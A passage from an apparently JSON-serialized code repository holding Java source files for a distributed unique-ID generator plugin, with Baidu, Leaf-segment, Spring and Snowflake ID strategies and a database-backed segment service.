/**\n     * Constructors from {@link AtomicLong}\n     */\n    public PaddedAtomicLong() {\n        super();\n    }\n\n    public PaddedAtomicLong(long initialValue) {\n        super(initialValue);\n    }\n\n    /**\n     * To prevent GC optimizations for cleaning unused padded references\n     */\n    public long sumPaddingToPreventOptimization() {\n        return p1 + p2 + p3 + p4 + p5 + p6;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/baidu/utils/ValuedEnum.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.myzmds.ecp.core.uid.baidu.utils;\n\n/**\n * {@code ValuedEnum} defines an enumeration which is bounded to a value, you\n * may implements this interface when you defines such kind of enumeration, that\n * you can use {@link EnumUtils} to simplify parse and valueOf operation.\n *  \n * @author yutianbao\n */\npublic interface ValuedEnum<T> {\n    /**\n     * 获取值\n     * @return 枚举映射的值\n     */\n    T value();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/annotation/Uid.java",
    "content": "package com.myzmds.ecp.core.uid.extend.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * \n * @类名称 Uid.java\n * @类描述 <pre>uid生成注解</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年8月31日 下午4:18:51\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年8月31日             \n *     ----------------------------------------------\n * </pre>\n */\n@Target({ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface Uid {\n    /**\n     * uid 生成模式\n     * @方法名称 model\n     * @功能描述 <pre>uid 生成模式</pre>\n     */\n    UidModel model() default UidModel.step;\n\n    /**\n     * 前缀\n     * @方法名称 prefix\n     * @功能描述 <pre>前缀</pre>\n     */\n    String prefix() default \"\";\n\n    /**\n     * 是否数字类型\n     * @方法名称 isNum\n     * @功能描述 <pre>是否数字类型</pre>\n     */\n    boolean isNum() default true;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/annotation/UidModel.java",
    "content": "package com.myzmds.ecp.core.uid.extend.annotation;\n\n/**\n * @类名称 UidModel.java\n * @类描述 <pre>id生产模式</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月3日 上午9:54:09\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月3日             \n *     ----------------------------------------------\n * </pre>\n */\npublic enum UidModel {\n    /**\n     * 步长自增(空实现,依赖数据库步长设置)\n     */\n    step(\"step\"),\n    /**\n     * 分段批量(基于leaf)\n     */\n    segment(\"segment\"),\n    /**\n     * Snowflake算法(源自twitter)\n     */\n    snowflake(\"snowflake\"),\n    /**\n     * 百度UidGenerator\n     */\n    baidu(\"baidu\");\n    \n    private UidModel(String name) {\n        this.name = name;\n    }\n    \n    private String name;\n    \n    public String getName() {\n        return name;\n    }\n    \n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/strategy/BaiduUidStrategy.java",
    "content": "package com.myzmds.ecp.core.uid.extend.strategy;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Lookup;\nimport org.springframework.util.StringUtils;\n\nimport com.myzmds.ecp.core.uid.baidu.UidGenerator;\nimport com.myzmds.ecp.core.uid.extend.annotation.UidModel;\n\n/**\n * baidu uid生成策略\n * @类名称 BaiduUidStrategy.java\n * @类描述 <pre>baidu uid生成策略</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年4月27日 下午8:47:27\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年4月27日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class BaiduUidStrategy implements IUidStrategy {\n    \n    private static Map<String, UidGenerator> generatorMap = new HashMap<>();\n    \n    @Autowired\n    private UidGenerator uidGenerator;\n    \n    @Override\n    public UidModel getName() {\n        return UidModel.baidu;\n    }\n    \n    /**\n     * 获取uid生成器\n     * @方法名称 getUidGenerator\n     * @功能描述 <pre>获取uid生成器</pre>\n     * @param prefix 前缀\n     * @return uid生成器\n     */\n    public UidGenerator getUidGenerator(String prefix) {\n        if (StringUtils.isEmpty(prefix)) {\n            return uidGenerator;\n        }\n        UidGenerator generator = generatorMap.get(prefix);\n        if (null == generator) {\n            synchronized (generatorMap) {\n                if (null == generator) {\n                    generator = getGenerator();\n                }\n                generatorMap.put(prefix, generator);\n            }\n        }\n        return generator;\n    }\n    \n    @Override\n    public long getUID(String group) {\n        return getUidGenerator(group).getUID();\n    }\n    \n    @Override\n    public String parseUID(long uid, String group) {\n        return getUidGenerator(group).parseUID(uid);\n    }\n    \n    /**\n     * @方法名称 getGenerator\n     * @功能描述 <pre>多实例返回uidGenerator(返回值不重要，动态注入)</pre>\n     * @return\n     */\n    @Lookup\n    public UidGenerator getGenerator() {\n      return null;\n    }\n\n    public UidGenerator getUidGenerator() {\n        return uidGenerator;\n    }\n\n    public void setUidGenerator(UidGenerator uidGenerator) {\n        this.uidGenerator = uidGenerator;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/strategy/IUidStrategy.java",
    "content": "package com.myzmds.ecp.core.uid.extend.strategy;\n\nimport com.myzmds.ecp.core.uid.extend.annotation.UidModel;\n\n/**\n * @类名称 IUidStrategy.java\n * @类描述 <pre>uid策略接口</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年8月31日 下午5:27:38\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年8月31日             \n *     ----------------------------------------------\n * </pre>\n */\npublic interface IUidStrategy {\n    /**\n     * 策略名\n     * @方法名称 getName\n     * @功能描述 <pre>策略名</pre>\n     * @return\n     */\n    public UidModel getName();\n\n    /**\n     * @方法名称 getUID\n     * @功能描述 <pre>获取ID</pre>\n     * @param group 分组\n     * @return id\n     */\n    public long getUID(String group);\n\n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>解析ID</pre>\n     * @param uid \n     * @param group 分组\n     * @return 输出json字符串：{\\\"UID\\\":\\\"\\\",\\\"timestamp\\\":\\\"\\\",\\\"workerId\\\":\\\"\\\",\\\"dataCenterId\\\":\\\"\\\",\\\"sequence\\\":\\\"\\\"}\n     */\n    String parseUID(long uid, String group);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/strategy/LeafSegmentStrategy.java",
    "content": "package com.myzmds.ecp.core.uid.extend.strategy;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.jdbc.core.JdbcTemplate;\n\nimport com.myzmds.ecp.core.uid.extend.annotation.UidModel;\nimport com.myzmds.ecp.core.uid.leaf.ISegmentService;\nimport com.myzmds.ecp.core.uid.leaf.SegmentServiceImpl;\n\n/**\n * @类名称 LeafSegmentStrategy.java\n * @类描述 <pre>Leaf分段批量Id策略(可配置asynLoadingSegment-异步标识)</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月5日 上午11:35:53\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月5日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class LeafSegmentStrategy implements IUidStrategy {\n    private final static String MSG_UID_PARSE = \"{\\\"UID\\\":\\\"%s\\\"}\";\n    \n    /**\n     * 生成器集合\n     */\n    protected static Map<String, ISegmentService> generatorMap = new ConcurrentHashMap<>();\n    \n    @Autowired\n    protected JdbcTemplate jdbcTemplate;\n    \n    private boolean asynLoadingSegment = true;\n    \n    /**\n     * 获取uid生成器\n     * @方法名称 getUidGenerator\n     * @功能描述 <pre>获取uid生成器</pre>\n     * @param prefix 前缀\n     * @return uid生成器\n     */\n    public ISegmentService getSegmentService(String prefix) {\n        ISegmentService segmentService = generatorMap.get(prefix);\n        if (null == segmentService) {\n            synchronized (generatorMap) {\n                if (null == segmentService) {\n                    segmentService = new SegmentServiceImpl(jdbcTemplate, prefix);\n                }\n                generatorMap.put(prefix, segmentService);\n            }\n        }\n        return segmentService;\n    }\n    \n    @Override\n    public UidModel getName() {\n        return UidModel.segment;\n    }\n    \n    @Override\n    public long getUID(String group) {\n        return getSegmentService(group).getId();\n    }\n    \n    @Override\n    public String parseUID(long uid, String group) {\n        return String.format(MSG_UID_PARSE, uid);\n    }\n\n    public boolean isAsynLoadingSegment() {\n        return asynLoadingSegment;\n    }\n\n    public void setAsynLoadingSegment(boolean asynLoadingSegment) {\n        this.asynLoadingSegment = asynLoadingSegment;\n    }\n\n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/strategy/SpringStrategy.java",
    "content": "package com.myzmds.ecp.core.uid.extend.strategy;\n\nimport com.myzmds.ecp.core.uid.extend.annotation.UidModel;\nimport com.myzmds.ecp.core.uid.leaf.ISegmentService;\nimport com.myzmds.ecp.core.uid.spring.ColumnMaxValueIncrementer;\n\n/**\n * @类名称 SpringStrategy.java\n * @类描述 <pre>spring 分段批量Id策略(可配置asynLoadingSegment-异步标识)</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年3月15日 下午7:48:58\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t       庄梦蝶殇 \t2019年3月15日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class SpringStrategy extends LeafSegmentStrategy {\n    @Override\n    public UidModel getName() {\n        return UidModel.step;\n    }\n    \n    @Override\n    public ISegmentService getSegmentService(String prefix) {\n        ISegmentService segmentService = generatorMap.get(prefix);\n        if (null == segmentService) {\n            synchronized (generatorMap) {\n                if (null == segmentService) {\n                    segmentService = new ColumnMaxValueIncrementer(jdbcTemplate, prefix);\n                }\n                generatorMap.put(prefix, segmentService);\n            }\n        }\n        return segmentService;\n    }\n    \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/extend/strategy/TwitterSnowflakeStrategy.java",
    "content": "package com.myzmds.ecp.core.uid.extend.strategy;\n\nimport java.lang.management.ManagementFactory;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport com.myzmds.ecp.core.uid.extend.annotation.UidModel;\nimport com.myzmds.ecp.core.uid.twitter.SnowflakeIdWorker;\nimport com.myzmds.ecp.core.uid.util.NetUtils;\nimport com.myzmds.ecp.core.uid.worker.WorkerIdAssigner;\n\n/**\n * @类名称 TwitterSnowflakeStrategy.java\n * @类描述 <pre>Twitter策略(workerId的获取可使用WorkerIdAssigner的各种实例)</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年8月31日 下午5:05:15\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年8月31日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class TwitterSnowflakeStrategy implements IUidStrategy {\n    /**\n     * 生成器集合\n     */\n    private static Map<String, SnowflakeIdWorker> generatorMap = new ConcurrentHashMap<>();\n    \n    /**\n     * 机器ID\n     */\n    private Long workerId;\n    \n    /**\n     * 数据中心id\n     */\n    private Long datacenterId;\n    \n    protected WorkerIdAssigner assigner;\n    \n    @Override\n    public UidModel getName() {\n        return UidModel.snowflake;\n    }\n    \n    @Override\n    public long getUID(String group) {\n        return getSnowflakeId(group).nextId();\n    }\n    \n    @Override\n    public String parseUID(long uid, String group) {\n        return getSnowflakeId(group).parseUID(uid);\n    }\n    \n    /**\n     * 获取uid生成器\n     * @方法名称 getSnowflakeId\n     * @功能描述 <pre>获取uid生成器</pre>\n     * @param prefix 前缀\n     * @return uid生成器\n     */\n    public SnowflakeIdWorker getSnowflakeId(String prefix) {\n        SnowflakeIdWorker snowflakeIdWorker = generatorMap.get(prefix);\n        if (null == snowflakeIdWorker) {\n            synchronized (generatorMap) {\n                if (null == snowflakeIdWorker) {\n                    // 数据中心id--默认取机器码\n                    Long realDid = null == datacenterId ? getMachineNum(31) : datacenterId;\n                    // 机器id--默认取进程id\n                    long realWid;\n                    if (null != assigner) {\n                        realWid = assigner.assignWorkerId();\n                    } else if (null != workerId) {\n                        realWid = workerId;\n                    } else {\n                        realWid = getProcessNum(realDid, 31);\n                    }\n                    snowflakeIdWorker = new SnowflakeIdWorker(realWid, realDid);\n                    snowflakeIdWorker.setClock(true);\n                }\n                generatorMap.put(prefix, snowflakeIdWorker);\n            }\n        }\n        return snowflakeIdWorker;\n    }\n    \n    /**\n     * 获取机器码\n     * \n     * @param maxId 最大值\n     */\n    public static long getMachineNum(long maxId) {\n        byte[] mac = NetUtils.getMachineNum();\n        long id = 0L;\n        if (mac == null) {\n            id = 1L;\n        } else {\n            id = ((0x000000FF & (long)mac[mac.length - 1]) | (0x0000FF00 & (((long)mac[mac.length - 2]) << 8))) >> 6;\n            id = id % (maxId + 1);\n        }\n        return id;\n    }\n    \n    /**\n     * 获取 进程id\n     *\n     * @param dataCenterId 数据中心id\n     * @param maxWorkerId 最大机器id\n     */\n    public static long getProcessNum(long dataCenterId, long maxWorkerId) {\n        StringBuilder mpid = new StringBuilder();\n        mpid.append(dataCenterId);\n        String name = ManagementFactory.getRuntimeMXBean().getName();\n        if (null != name && !\"\".equals(name)) {\n            // 获取 jvm Pid\n            mpid.append(name.split(\"@\")[0]);\n        }\n        // dataCenterId + PID 的 hashcode 获取16个低位\n        return (mpid.toString().hashCode() & 0xffff) % (maxWorkerId + 1);\n    }\n    \n    public Long getWorkerId() {\n        return workerId;\n    }\n    \n    public void setWorkerId(Long workerId) {\n        this.workerId = workerId;\n    }\n    \n    public Long getDatacenterId() {\n        return datacenterId;\n    }\n    \n    public void setDatacenterId(Long datacenterId) {\n        this.datacenterId = datacenterId;\n    }\n    \n    public void setAssigner(WorkerIdAssigner assigner) {\n        this.assigner = assigner;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/leaf/ISegmentService.java",
    "content": "package com.myzmds.ecp.core.uid.leaf;\n\n/**\n * @类名称 IdLeafService.java\n * @类描述 <pre>Leaf理论的分段批量id生成服务</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月5日 上午11:46:37\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月5日             \n *     ----------------------------------------------\n * </pre>\n */\npublic interface ISegmentService {\n    /**\n     * 获取id\n     * @return id\n     */\n    public Long getId();\n\n    /**\n     * 设置业务标识\n     * @param bizTag 业务标识\n     */\n    public void setBizTag(String bizTag);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/leaf/IdSegment.java",
    "content": "package com.myzmds.ecp.core.uid.leaf;\n\nimport java.util.Date;\n\n/**\n * @类名称 IdSegment.java\n * @类描述 <pre>分段ID实体</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月6日 下午3:58:29\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月6日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class IdSegment {\n    /**\n     * 最小id\n     */\n    private Long minId;\n    \n    /**\n     * 最大id\n     */\n    private Long maxId;\n    \n    /**\n     * 步长\n     */\n    private Long step;\n    \n    /**\n     * 中间值(缓存阈值-用于更新双buffer的阈值。目前阈值比是50%)\n     */\n    private Long middleId;\n    \n    /**\n     * 上次更新时间\n     */\n    private Date lastUpdateTime;\n    \n    /**\n     * 本次更新时间\n     */\n    private Date currentUpdateTime;\n    \n    public IdSegment() {\n        \n    }\n    \n    public Date getLastUpdateTime() {\n        return lastUpdateTime;\n    }\n    \n    public void setLastUpdateTime(Date lastUpdateTime) {\n        this.lastUpdateTime = lastUpdateTime;\n    }\n    \n    public Date getCurrentUpdateTime() {\n        return currentUpdateTime;\n    }\n    \n    public void setCurrentUpdateTime(Date currentUpdateTime) {\n        this.currentUpdateTime = currentUpdateTime;\n    }\n    \n    public Long getMiddleId() {\n        if (this.middleId == null) {\n            this.middleId = this.maxId - (step / 2);\n        }\n        return middleId;\n    }\n    \n    public Long getMinId() {\n        if (this.minId == null) {\n            if (this.maxId != null && this.step != null) {\n                this.minId = this.maxId - this.step;\n            } else {\n                throw new RuntimeException(\"maxid or step is null\");\n            }\n        }\n        return minId;\n    }\n    \n    public Long getMaxId() {\n        return maxId;\n    }\n    \n    public void setMaxId(Long maxId) {\n        this.maxId = maxId;\n    }\n    \n    public Long getStep() {\n        return step;\n    }\n    \n    public void setStep(Long step) {\n        this.step = step;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/leaf/SegmentServiceImpl.java",
    "content": "package com.myzmds.ecp.core.uid.leaf;\n\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.Date;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.FutureTask;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.core.RowCallbackHandler;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\n\n/**\n * @类名称 SegmentServiceImpl.java\n * @类描述 <pre>Segment 策略id生成实现类</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月6日 下午4:28:36\n * @版本 1.0.2\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0    庄梦蝶殇    2018年09月06日             \n *     1.0.1    庄梦蝶殇    2019年02月28日             更改阈值碰撞时重复执行问题\n *     1.0.2    庄梦蝶殇    2019年03月06日             突破并发数被step限制的bug\n *     ----------------------------------------------\n * </pre>\n */\npublic class SegmentServiceImpl implements ISegmentService {\n    \n    /**\n     * 线程名-心跳\n     */\n    public static final String THREAD_BUFFER_NAME = \"leaf_buffer_sw\";\n    \n    private static ReentrantLock lock = new ReentrantLock();\n    \n    /**\n     * 创建线程池\n     */\n    private ExecutorService taskExecutor;\n    \n    /**\n     * 两段buffer\n     */\n    private volatile IdSegment[] segment = new IdSegment[2];\n    \n    /**\n     * 缓冲切换标识(true-切换，false-不切换)\n     */\n    private volatile boolean sw;\n    \n    /**\n     * 当前id\n     */\n    private AtomicLong currentId;\n    \n    private JdbcTemplate jdbcTemplate;\n    \n    /**\n     * 业务标识\n     */\n    private String bizTag;\n    \n    /**\n     * 异步标识(true-异步，false-同步)\n     */\n    private boolean asynLoadingSegment = true;\n    \n    /**\n     * 异步线程任务\n     */\n    FutureTask<Boolean> asynLoadSegmentTask = null;\n    \n    public SegmentServiceImpl(JdbcTemplate jdbcTemplate, String bizTag) {\n        this.jdbcTemplate = jdbcTemplate;\n        if (taskExecutor == null) {\n            taskExecutor = new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), new NamingThreadFactory(THREAD_BUFFER_NAME));\n        }\n        this.bizTag = bizTag;\n        // 获取第一段buffer缓冲\n        segment[0] = doUpdateNextSegment(bizTag);\n        setSw(false);\n        // 初始id\n        currentId = new AtomicLong(segment[index()].getMinId());\n    }\n    \n    @Override\n    public Long getId() {\n        // 1.0.1 fix:uid:ecp-190227001 #1(github)更改阈值(middle与max)lock在高速碰撞时的可能多次执行\n        // 下一个id\n        Long nextId = null;\n        if (segment[index()].getMiddleId().equals(currentId.longValue()) || segment[index()].getMaxId().equals(currentId.longValue())) {\n            try {\n                lock.lock();\n                // 阈值50%时，加载下一个buffer\n                if (segment[index()].getMiddleId().equals(currentId.longValue())) {\n                    thresholdHandler();\n                    nextId = currentId.incrementAndGet();\n                }\n                if (segment[index()].getMaxId().equals(currentId.longValue())) {\n                    fullHandler();\n                    nextId = currentId.incrementAndGet();\n                }\n            } finally {\n                lock.unlock();\n            }\n        }\n        nextId = null == nextId ? currentId.incrementAndGet() : nextId;\n        // 1.0.2 fix:uid:ecp-190306001 突破并发数被step限制的bug\n        return nextId <= segment[index()].getMaxId() ? nextId : getId();\n    }\n    \n    /**\n     * 阈值处理，是否同/异步加载下一个buffer的值(即更新DB)\n     */\n    private void thresholdHandler() {\n        if (asynLoadingSegment) {\n            // 异步处理-启动线程更新DB，由线程池执行\n            asynLoadSegmentTask = new FutureTask<>(new Callable<Boolean>() {\n                @Override\n                public Boolean call()\n                    throws Exception {\n                    final int currentIndex = reIndex();\n                    segment[currentIndex] = doUpdateNextSegment(bizTag);\n                    return true;\n                }\n            });\n            taskExecutor.submit(asynLoadSegmentTask);\n        } else {\n            // 同步处理，直接更新DB\n            final int currentIndex = reIndex();\n            segment[currentIndex] = doUpdateNextSegment(bizTag);\n        }\n    }\n    \n    /**\n     * buffer使用完时切换buffer。\n     */\n    public void fullHandler() {\n        if (asynLoadingSegment) {\n            // 异步时，需判断 异步线程的状态(是否已经执行)\n            try {\n                asynLoadSegmentTask.get();\n            } catch (Exception e) {\n                e.printStackTrace();\n                // 未执行，强制同步切换\n                segment[reIndex()] = doUpdateNextSegment(bizTag);\n            }\n        }\n        // 设置切换标识\n        setSw(!isSw());\n        // 进行切换\n        currentId = new AtomicLong(segment[index()].getMinId());\n    }\n    \n    /**\n     * 获取下一个buffer的索引\n     */\n    private int reIndex() {\n        return isSw() ? 0 : 1;\n    }\n    \n    /**\n     * 获取当前buffer的索引\n     */\n    private int index() {\n        return isSw() ? 1 : 0;\n    }\n    \n    /**\n     * @方法名称 doUpdateNextSegment\n     * @功能描述 <pre>更新下一个buffer</pre>\n     * @param bizTag 业务标识\n     * @return 下一个buffer的分段id实体\n     */\n    private IdSegment doUpdateNextSegment(String bizTag) {\n        try {\n            return updateId(bizTag);\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return null;\n    }\n    \n    private IdSegment updateId(String bizTag)\n        throws Exception {\n        String querySql = \"select step, max_id, last_update_time, current_update_time from id_segment where biz_tag=?\";\n        String updateSql = \"update id_segment set max_id=?, last_update_time=?, current_update_time=now() where biz_tag=? and max_id=?\";\n        final IdSegment currentSegment = new IdSegment();\n        this.jdbcTemplate.query(querySql, new String[] {bizTag}, new RowCallbackHandler() {\n            @Override\n            public void processRow(ResultSet rs)\n                throws SQLException {\n                Long step = null;\n                Long currentMaxId = null;\n                step = rs.getLong(\"step\");\n                currentMaxId = rs.getLong(\"max_id\");\n                Date lastUpdateTime = new Date();\n                if (rs.getTimestamp(\"last_update_time\") != null) {\n                    lastUpdateTime = (java.util.Date)rs.getTimestamp(\"last_update_time\");\n                }\n                Date currentUpdateTime = new Date();\n                if (rs.getTimestamp(\"current_update_time\") != null) {\n                    currentUpdateTime = (java.util.Date)rs.getTimestamp(\"current_update_time\");\n                }\n                currentSegment.setStep(step);\n                currentSegment.setMaxId(currentMaxId);\n                currentSegment.setLastUpdateTime(lastUpdateTime);\n                currentSegment.setCurrentUpdateTime(currentUpdateTime);\n            }\n        });\n        Long newMaxId = currentSegment.getMaxId() + currentSegment.getStep();\n        int row = this.jdbcTemplate.update(updateSql, new Object[] {newMaxId, currentSegment.getCurrentUpdateTime(), bizTag, currentSegment.getMaxId()});\n        if (row == 1) {\n            IdSegment newSegment = new IdSegment();\n            newSegment.setStep(currentSegment.getStep());\n            newSegment.setMaxId(newMaxId);\n            return newSegment;\n        } else {\n            // 递归，直至更新成功\n            return updateId(bizTag);\n        }\n    }\n    \n    public void setTaskExecutor(ExecutorService taskExecutor) {\n        this.taskExecutor = taskExecutor;\n    }\n    \n    private boolean isSw() {\n        return sw;\n    }\n    \n    private void setSw(boolean sw) {\n        this.sw = sw;\n    }\n    \n    public void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n        this.jdbcTemplate = jdbcTemplate;\n    }\n    \n    @Override\n    public void setBizTag(String bizTag) {\n        this.bizTag = bizTag;\n    }\n    \n    public void setAsynLoadingSegment(boolean asynLoadingSegment) {\n        this.asynLoadingSegment = asynLoadingSegment;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/spring/ColumnMaxValueIncrementer.java",
    "content": "package com.myzmds.ecp.core.uid.spring;\n\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.jdbc.core.JdbcTemplate;\nimport org.springframework.jdbc.support.incrementer.DataFieldMaxValueIncrementer;\n\nimport com.myzmds.ecp.core.uid.leaf.SegmentServiceImpl;\n\n/**\n * @类名称 ColumnMaxValueIncrementer.java\n * @类描述 <pre>Spring 增量id实现(基于Segment策略)</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月12日 下午3:55:17\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t\t庄梦蝶殇 \t2018年9月12日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class ColumnMaxValueIncrementer extends SegmentServiceImpl implements DataFieldMaxValueIncrementer {\n    \n    /**\n     * 填充长度\n     */\n    protected int paddingLength = 8;\n    \n    public ColumnMaxValueIncrementer(JdbcTemplate jdbcTemplate, String bizTag) {\n        super(jdbcTemplate, bizTag);\n    }\n    \n    @Override\n    public int nextIntValue()\n        throws DataAccessException {\n        return getId().intValue();\n    }\n    \n    @Override\n    public long nextLongValue()\n        throws DataAccessException {\n        return getId();\n    }\n    \n    @Override\n    public String nextStringValue()\n        throws DataAccessException {\n        String s = Long.toString(getId());\n        int len = s.length();\n        if (len < this.paddingLength) {\n            StringBuilder sb = new StringBuilder(this.paddingLength);\n            for (int i = 0; i < this.paddingLength - len; i++) {\n                sb.append('0');\n            }\n            sb.append(s);\n            s = sb.toString();\n        }\n        return s;\n    }\n    \n    public void setPaddingLength(int paddingLength) {\n        this.paddingLength = paddingLength;\n    }\n    \n    public int getPaddingLength() {\n        return this.paddingLength;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/twitter/SnowflakeIdWorker.java",
